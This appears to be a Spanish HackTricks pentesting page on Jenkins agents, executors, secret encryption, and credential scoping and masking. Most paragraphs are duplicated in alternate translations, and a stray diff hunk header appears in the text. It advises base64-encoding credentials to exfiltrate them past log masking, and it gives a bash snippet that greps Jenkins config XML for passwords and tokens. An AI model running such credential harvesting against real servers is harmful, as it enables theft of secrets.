**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **instalarse directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host.
**Agents** **gestionan** la **ejecución de tareas** en nombre del Jenkins controller mediante el **uso de executors**. Un agent puede usar cualquier sistema operativo que soporte Java. Las herramientas necesarias para builds y tests se instalan en el node donde corre el agent; pueden **instalarse directamente o en un contenedor** (Docker o Kubernetes). Cada **agent es efectivamente un proceso con su propio PID** en la máquina host.
Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que se pueden ejecutar en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo.
Un **executor** es un **slot para la ejecución de tareas**; efectivamente, es **un hilo en el agent**. El **número de executors** en un node define el número de **tareas concurrentes** que pueden ejecutarse en ese node a la vez. En otras palabras, esto determina el **número de concurrent Pipeline `stages`** que pueden ejecutarse en ese node al mismo tiempo.
## Secretos de Jenkins
## Jenkins Secrets
### Cifrado de Secretos y Credenciales
### Encryption of Secrets and Credentials
Definición de los [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe configurarse para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o utilizando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado de manera indirecta a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen:
Definición de los [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins usa **AES para cifrar y proteger secrets**, credentials y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la master key usada para proteger dichas claves. Este directorio debe configurarse de modo que solo el usuario del sistema operativo con el que corre el Jenkins controller tenga permisos de lectura y escritura en este directorio (p. ej., un valor de `chmod` de `0700` o usando atributos de archivo apropiados). La **master key** (a veces referida como "key encryption key" en jerga cripto) está **stored \_unencrypted\_** en el sistema de ficheros del Jenkins controller en **`$JENKINS_HOME/secrets/master.key`**, lo cual no protege frente a atacantes con acceso directo a ese fichero. La mayoría de usuarios y desarrolladores usarán estas claves de cifrado indirectamente vía la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos confidenciales genéricos o mediante la credentials API. Para los criptocuriosos, Jenkins usa AES en modo cipher block chaining (CBC) con padding PKCS#5 e IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de fichero correspondiente a su id de `CryptoConfidentialKey`. IDs de clave comunes incluyen:
- `hudson.util.Secret`: utilizado para secretos genéricos;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales;
- `jenkins.model.Jenkins.crumbSalt`: utilizado por el [mecanismo de protección CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); y
- `hudson.util.Secret`: usado para secretos genéricos;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para algunos tipos de credentials;
- `jenkins.model.Jenkins.crumbSalt`: usado por el [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); y
### Acceso a Credenciales
### Credentials Access
Las credenciales pueden ser **escaladas a proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser escaladas a **proyectos específicos** (`/job/<project-name>/configure`) y, por lo tanto, solo accesibles desde el proyecto específico.
Las credentials pueden **estar en el scope de proveedores globales** (`/credentials/`) que pueden ser accedidas por cualquier proyecto configurado, o pueden estar en el scope de **proyectos específicos** (`/job/<project-name>/configure`) y por tanto solo accesibles desde el proyecto específico.
Según [**los docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en el ámbito se ponen a disposición de la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelarían en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales.
Según [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credentials que están en scope se ponen a disposición del pipeline sin limitación. Para **prevenir la exposición accidental en el build log**, las credentials son **enmascaradas** en la salida normal, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelarán en el build log** a usuarios que de otro modo no tendrían acceso a las credentials.
**Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.**
Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.
### Secrets in plugin/job configs on disk
No asumas que los secrets están solo en `credentials.xml`. Muchos plugins persisten secrets en su **propio XML global** bajo `$JENKINS_HOME/*.xml` o en el `$JENKINS_HOME/jobs/<JOB>/config.xml` por trabajo, a veces incluso en texto plano (el enmascaramiento de la UI no garantiza almacenamiento cifrado). Si obtienes acceso de lectura al filesystem, enumera esos XML y busca etiquetas de secret evidentes.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Referencias
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Según [**los docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}